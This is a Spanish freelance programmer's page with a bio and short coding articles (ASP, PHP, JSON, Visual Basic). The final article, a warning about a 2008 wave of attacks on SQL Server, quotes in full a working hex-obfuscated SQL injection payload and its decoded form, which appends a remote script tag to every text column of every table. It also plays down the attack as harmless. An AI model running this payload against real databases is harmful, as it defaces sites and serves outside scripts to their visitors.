.programador freelance autónomo

Nacido en Donostia - San Sebastián (Guipúzcoa, España) el 19 de Octubre de 1974, mostré desde temprana edad un gran interés hacia la programación de software, el cuál se materalizó con aquel entrañable Spectrum 48k tan popular en su época.

Como analista programador autónomo, con más de diez años de experiencia en la profesión, ofrezco mis servicios a empresas y profesionales que requieran desarrollos de software adaptados a sus necesidades, tanto programas de gestión, como todo tipo de desarrollos web: foros, chats, herramientas para newsletters, gestores de contenido, comercios virtuales, tpv-s, etc...

Actualmente trabajo con PHP, Javascript y Actionscript para aplicaciones en internet (también he hecho cosas con ASP, ASP.Net y JSP), y Visual Basic para aplicaciones de escritorio. Para esto último me encuentro en trámites de migrar a Java por las ventajas que ofrece.

Me considero una buena opción para aquellos profesionales que requiran un trato próximo y transparente por parte de sus proveedores. Pocos clientes y satisfechos antes que muchos pero insatisfechos, es mi filosofía de trabajo.

No lo dudes, cualquier consulta o solicitud de presupuesto, será gustosamente atendida a través del formulario disponible en esta misma página, o en el número de teléfono [34] 687 770 998.

Aviso: los números ocultos son automáticamente rechazados por mi teléfono.

Recibe un cordial saludo.

.artículos

24/07/2009 - Incrustando Flash en una aplicación de escritorio

La tecnología shockwave nos brinda una excelente oportunidad de enriquecer nuestras aplicaciones de escritorio.
En el ejemplo adjunto veremos como incrustar un documento SWF dentro de un formulario de Visual Basic mediante el objeto ShockwaveFlash, y también como comunicar ambos a través de un socket mediante los objetos Winsock por un lado y XMLSocket por otro.

Descargar ejemplo

19/04/2009 - Problema con formato de fechas en ASP

Tarde o temprano a todos aquellos que hayan desarrollado en ASP les ocurrirá: La configuración regional respecto a las fechas diferirá del servidor de desarrollo al de producción, y parte de la aplicación dejará de funcionar.

¿Cómo detectar de manera rápida si tenemos las fechas en formato anglosajón o no? Os dejo el codiguito necesario.

<!-- <% dim bFormatoFechaAnglosajon if cstr(cdate("25/12/2000")) = "12/25/2000" then bFormatoFechaAnglosajon = true else bFormatoFechaAnglosajon = false end if %> -->

27/03/2009 - Problema liberando el buffer de salida con PHP 4

Hace poco, desarrollando una herramienta de envío de boletines, a la hora de ir mostrando los envíos desde un iframe en tiempo de ejecución, me econtré que ni la función flush() ni la función ob_flush() funcionaban.

Bueno, pues al final resulta que para que funcionen y liberen el buffer, hay que invocar a ambas. Os dejo una muestra:

<!-- <? ob_start(); echo '3<br/>'; ob_flush(); flush(); sleep(1); echo '2<br/>'; ob_flush(); flush(); sleep(1); echo '1<br/>'; ob_flush(); flush(); sleep(1); echo 'FIN'; ?> -->

18/10/2008 - Serializando datos con JSON

Sin duda JSON se trata de una excelente opción a la hora de compartir datos entre cliente y servidor. Olvidaros de andar generando y parseando XML. JSON nos ofrece la posiblidad de serializar y deserializar una gran variedad de estructuras de datos con una sola sentencia. Lo mejor de todo es que está disponible para multitud de lenguajes.

En el ejemplo adjunto veremos como comunicar y serializar datos entre ActionScript 1 y PHP 4. Debéis colocar el fichero json.php en vuestro directorio de publicación web.

Descargar ejemplo

06/09/2008 - Ejemplo simple de herencias con PHP 5

Declararemos tres clases: Abuelo, Padre e Hijo. Padre heredará de Abuelo, e Hijo de Padre y por tanto de Abuelo.

Abuelo es una clase abstracta, con lo cual no puede instanciarse, sus métodos deberían terminar de implementarse en las clases derivadas.
Abuelo.sVar1 es un campo público y estático, será heredado por Padre e Hijo y podrá ser invocado desde el exterior tanto desde instancias como estáticamente.
Abuelo.Metodo1() es un miembro abstracto, por lo tanto sólo lo declaramos. Terminará de implementarse en Padre mediante el modificador 'final'.
Abuelo.Metodo2() es un miembro protegido, es heredado por Padre e Hijo, pero su acceso es privado. Lo mismo para Abuelo.Metodo1().

Padre.sVar2 es un campo privado, no podrá ser heredado, y no podrá ser invocado ni desde el exterior ni desde clases derivadas.
El constructor de Padre es un miembro protegido, lo cual nos impide crear instancias de Padre y obliga a que los miembros de Padre, desde el exterior, sean invocados estáticamente.
Al contrario que los campos, los métodos pueden ser invocados estáticamente aunque no hayan sido declarados como estáticos.
En el constructor de Padre, vemos que inicializamos el campo $sVar1 tanto de manera estática como desde instancia. Podremos acceder a ambos valores según como lo invoquemos.

Hijo es una clase final, no podrá tener clases derivadas.
En el constructor de Hijo vemos que invocamos estáticamente al constructor de Padre, si no lo hiciáramos, el campo $sVar1 no se inicializaría y no obtendríamos el valor deseado al invocarlo.

Veamos el código:

<!-- <? abstract class Abuelo { static public $sVar1; abstract protected function Metodo1(); protected function Metodo2() { } } class Padre extends Abuelo { private $sVar2; protected function __construct() { self::$sVar1 = 'var 1 estática<br>'; $this->sVar1 = 'var 1 instancia<br>'; } final public function Metodo1() { echo '->Metodo1()<br>'; } public function Metodo3() { echo '->Metodo3()<br>'; } } final class Hijo extends Padre { public function __construct() { Padre::__construct(); /* Equivalente a: parent::__construct(); */ } final public function Metodo4() { echo '->Metodo4()<br>'; } function __destruct() { /* Código a ejecutar cuando la clase se elimine de la memoria al no haber más referencias */ echo 'Adios'; } } $InstanciaHijo = new Hijo(); echo Hijo::$sVar1; echo $InstanciaHijo->sVar1; Padre::Metodo3(); $InstanciaHijo->Metodo1(); $InstanciaHijo->Metodo4(); ?> -->

24/07/2008 - Coloreando filas en un TDBGrid según criterio

Seguro que alguna vez trabajando con el TrueDB Grid nos hemos encontrado con la necesidad de dar un color diferente a determinados registros. En este ejemplo mostraré cómo hacerlo con Visual Basic.

Lo primero que debemos hacer, antes de cargar el grid ya sea con un Adodc o un Recordset, es poblar un array a partir del mismo origen de datos, indicando mediante true o false, si el registro correspondiente tendrá o no el color alternativo.
Esto nos permitirá mediante el evento FetchCellStyle colorear dichos registros a la vez que se vaya cargando el grid. El argumento Bookmark nos permitirá vincular los registros con el array.

Importante: Los campo que queramos colorear deberán tener el atributo FetchStyle activado-> TDBGrid1.Columns("NombreDeCampo").FetchStyle = dbgFetchCellStyleColumn

He aquí una muestra de cómo será el código del evento:

Private Sub TDBGrid1_FetchCellStyle(ByVal Condition As Integer, ByVal Split As Integer, Bookmark As Variant, ByVal Col As Integer, ByVal CellStyle As TrueOleDBGrid80.StyleDisp) 'On Error Resume Next If CInt(Bookmark) - 1 <= UBound(arrayRegistros) Then If arrayRegistros(CInt(Bookmark) - 1) Then CellStyle.ForeColor = vbBlack Else CellStyle.ForeColor = vbBlue End If End If End Sub

12/07/2008 - Oleada de ataques contra servidores SQL Server

Recientemente se están produciendo ataques contra multitud de servidores SQL Server. Para calibrar la magnitud del ataque, basta con buscar <script src=http://www.pingadw.com/b.js></script> en cualquier buscador y observar la cantidad de resultados que se obtienen.

Dicho ataque se trata de una inyección de Transact SQL, transformado a hexadecimal en su gran parte para burlar controles. He aquí una muestra:

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Lo cual es equivalente a ejecutar:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.chkbnr.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Como podemos observar, recorre todas las tablas y campos varchar de la bbdd, anexando a los valores de dichos campos una llamada a un documento JS que en realidad no existe.

El ataque en sí no es destructivo pero sí muy molesto, ya que ralentiza enormemente la carga de un sitio web. Ya lo sabéis, proteged bien vuestros formularios!